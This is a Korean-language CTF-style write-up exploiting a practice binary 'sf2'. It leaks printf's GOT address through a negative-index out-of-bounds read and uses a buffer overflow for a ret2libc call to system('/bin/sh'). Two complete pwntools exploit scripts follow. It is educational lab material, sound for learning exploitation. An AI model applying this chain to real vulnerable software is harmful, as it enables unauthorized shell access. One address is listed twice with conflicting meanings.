보호기법
NX만 켜져있음.
IDA 분석
1_create data
scanf는 배열의 0번째 인덱스에만 입력을 받고, 입력한 값은 0 또는 1 이어야함.
2_show data
v1의 값이 1미만일때만 printf가 저장된 주소 출력을함.
3_comment
buf가 28byte로 크기가 정해져있는데 50바이트까지 받음.bof 발생 가능함.
프로그램 실행해봄
create data에서 데이터를 생성하고(index 0과 1에 생성)
show data에서 생성한 인덱스를 확인해보면 index 1에는 hello가 index2에는 datadata가 들어가 있는걸 볼 수 있음.
OOB
2_showdata에서 음수를 입력했을 때 error가 뜨지 않기때문에 OOB 발생가능
음수 값을 계속 넣다보면 -4를 넣었을 때 이상한 값들이 나온다.
전략
1_createdata에서 /bin/sh 의 주소값을 넣어주고
2_showdata에서 oob발생이 가능하기 때문에 지정된 배열을 초과해 주소를 찾아냄.
3_comment에서는 bof가 발생 가능하기 때문에 페이로드 전송
Exploit
/bin/sh 문자열 저장
createdata 메뉴를 이용하면 /bin/sh 문자열을 우리가 아는 주소에 저장할 수 있음.
나는 인덱스 1에다가 넣을거라 0x14 * 1 + 0x804A060 = 0x804A074 이 위치에 문자열이 저장된다.
/bin/sh 저장된 위치: 0xf7dd5db0
이제 libc leak을 해야함.
-4를 넣었을 때 이상한 값이 나오기 때문에 이 주소가 어느 영역인지, 무슨 데이터가 나오는지 알아봐야함.
먼저 -4를 넣으면
0x14 * (-4) + 0x804A060 = 0x804A010 이 주소에 있는 데이터들이 나옴.
0x804A010 이 주소가 뭔지 먼저 찾아봄.
printf_got 의 주소임.
아까 나온 이상한 값들은 이 주소에 있는 값이 반환돼서 printf의 실제주소가 반환되는 거였음.
그럼 이 값을 이용해서 system함수의 실제주소를 구해주면 됨.
printf 의 got 주소 : 0x804a010
printf의 실제 주소: 0xf7dd5db0
출력된 데이터에서 4바이트를 받아주면 실제주소를 얻을 수 있음.
페이로드 전송
페이로드는 bof가 발생 가능한 comment에서 실행함.
페이로드 작성 후 보냈는데 에러남.
그래서
디버깅
EBP에 SFP값으로 넣어준 BBBB도 잘 들어가고 ret에서 system호출함.
그럼 /bin/sh가 잘못된건데
binsh_addr로 줬던 주소 값은 잘 들어가 있음.
그래서 주소 안 데이터를 봤는데
/bin/sh 문자열이 안 들어가져있음.
binsh_addr를 잘못 계산한 거였다.
그래서 제대로 넣어주니 문자열도 잘 들어가 있고 쉘 획득함.
Payload - 1차 풀이
from pwn import *
#context.log_level = 'debug'
p = process('./sf2')
e = ELF('./sf2')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
# GOT에서 leak된 printf 주소
p.sendlineafter(b'>', b'2') # 메뉴 선택
p.sendlineafter(b'data index :', b'-4') # 인덱스
p.recvuntil(b'Your data : ')
printf_addr = u32(p.recv(4))
libc_base = printf_addr - libc.symbols['printf']
print("libc_base_addr:", hex(libc_base))
system_addr = libc_base + libc.symbols['system']
print("system_addr:", hex(system_addr))
# /bin/sh을 저장할 위치
data = b'/bin/sh'
binsh_addr = 0x804A060 + 20 * 1 # 인덱스 1
#pause()
# create data
p.sendlineafter(b'>', b'1') # 메뉴 선택
p.sendlineafter(b'data index :', b'1') # 인덱스
p.sendlineafter(b'data ( max 20 ) :', data)
# comment -> overflow
payload = b'A' * 28
payload += b'B' * 4
payload += p32(system_addr)
payload += b'C' * 4
payload += p32(binsh_addr)
pause()
p.sendlineafter(b'>', b'3')
p.sendafter(b':', payload)
p.interactive()
p.interactive()
복습 Payload - 2차 풀이
from pwn import *
#context.log_level = 'debug'
p = process('./sf2')
e = ELF('./sf2')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
# 1.createdate
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'/bin/sh')
binsh_addr = 0x804A074
pause()
# 2.showdata
p.sendlineafter(b'>',b'2')
p.sendlineafter(b':', b'-4')
p.recvuntil(b': ')
printf_addr = u32(p.recv((4)))
print(hex(printf_addr))
# system address
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
# 3.comment
pl = b'A'* 28
pl += b'B'* 4
pl += p32(system_addr)
pl += b'C'* 4
pl += p32(binsh_addr)
pause()
p.sendlineafter(b'>',b'3')
p.sendlineafter(b':',pl)
p.interactive()